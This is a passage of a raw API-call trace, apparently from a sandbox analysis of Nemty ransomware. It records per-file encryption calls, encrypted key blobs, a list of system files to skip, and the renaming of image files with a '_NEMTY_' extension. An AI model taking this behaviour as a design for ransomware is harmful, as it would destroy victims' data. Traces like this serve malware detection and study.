hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0154.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0154.009] Sleep (dwMilliseconds=0x5) [0154.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf72ac10, dwHighDateTime=0x1d561e8)) [0154.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf72ac10, dwHighDateTime=0x1d561e8)) [0154.017] GetLastError () returned 0x5 [0154.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0154.017] GetLastError () returned 0x5 [0154.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0154.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0154.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.017] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0154.017] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0154.017] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0154.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0154.017] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="/oJrE/+TugVd45MfxHxhF3d6OrbY8QQzTf6pbGrULoayMrn8ED9HUcznedyucSEi\r\nucmqueERJn5StXqDBYaT2fT0/auX8AnL5LQzbUcKa7dt9aROkn/BIKbZLi224uIw\r\nhnLE9HlGUAVB1oefrLA/DWa+EaEc40g5UkFMoYNjiynIDIpVmtBGWlqXoJ6ClCkl\r\nLZzfS0M63ucDiXKmGtljFJWl7+T3T34eidqQSlM+e/0i10TiixbGbu+0ou6x5PvV\r\nWitwywR2dpBWwwEx5zspEa1zN642AyZSntzujloyMl5xXii0HhHcs3Uz3mHeRvLr\r\nYYI5NP47DPfhcuLW8CbKIA==\r\n", pcchString=0x653e91c) returned 1 [0154.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0154.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0154.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0154.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0154.017] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0154.017] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0154.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0154.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.027] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.036] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.036] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.046] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.046] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.056] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.056] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.066] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.094] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.103] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.113] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0154.125] CloseHandle (hObject=0xffffffff) returned 0 [0154.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0154.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0154.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0154.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0154.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0154.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0154.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0154.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0154.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\20.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\20.png._nemty_kgobjgd_")) returned 0 [0154.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0154.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0154.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0154.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0154.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0154.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0154.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0154.125] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86919a48, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86919a48, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab4fa51, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="21.png", cAlternateFileName="")) returned 1 [0154.125] lstrcmpiW (lpString1="21.png", lpString2=".") returned 1 [0154.125] lstrcmpiW (lpString1="21.png", lpString2="..") returned 1 [0154.125] lstrcmpiW (lpString1="21.png", lpString2="...") returned 1 [0154.125] lstrcmpiW (lpString1="21.png", lpString2="windows") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="$RECYCLE.BIN") returned 1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="rsa") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="NTDETECT.COM") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="ntldr") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="MSDOS.SYS") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="IO.SYS") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="boot.ini") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="boot.ini") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="AUTOEXEC.BAT") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="ntuser.dat") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="desktop.ini") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="CONFIG.SYS") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="RECYCLER") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="BOOTSECT.BAK") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="bootmgr") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="programdata") returned -1 [0154.126] lstrcmpiW (lpString1="21.png", lpString2="appdata") returned -1 [0154.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="21.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="21.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="21.png", lpUsedDefaultChar=0x0) returned 6 [0154.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="21.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="21.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="21.png", lpUsedDefaultChar=0x0) returned 6 [0154.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="21.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="21.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="21.png", lpUsedDefaultChar=0x0) returned 6 [0154.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="21.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="21.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="21.png", lpUsedDefaultChar=0x0) returned 6 [0154.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0154.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0154.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0154.127] Sleep (dwMilliseconds=0x5) [0154.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf85b710, dwHighDateTime=0x1d561e8)) [0154.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf85b710, dwHighDateTime=0x1d561e8)) [0154.141] GetLastError () returned 0x5 [0154.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0154.141] GetLastError () returned 0x5 [0154.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0154.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0154.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0154.142] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0154.142] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0154.142] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0154.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0154.142] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="q5gvDwOEka0eUdydXVsxq2rfdaKK647S692Lynad+1k3/aaugSQTjCHczwyo3MVU\r\nNl5x6AYZRfiNHiBgvVZq2G4yL4U4OLGllzt0uQ2At7UmHz+CPmuZ4KNLByUW8aq+\r\neHFrXk+AsB22XfK/TKOBysow44gCzKmefqc8S9WrXhHrHm7DK3m30eMxkUi61l/o\r\nd3ihe7Iuy16G0kPLAwZbYzQJIwjO8yvMjWQkB9fGNsGr44t0b0KhqoAADSDOnmdJ\r\njFhtKciund1soEgNlZjdNheeraNsqD4CY1ChBeBMbpKlXxiD0KFGP8gxK0MY7ryS\r\nimjXkCeKur3MU9eX1pUdww==\r\n", pcchString=0x653e91c) returned 1 [0154.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0154.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0154.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0154.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0154.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0154.142] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\21.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0154.142] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0154.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0154.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 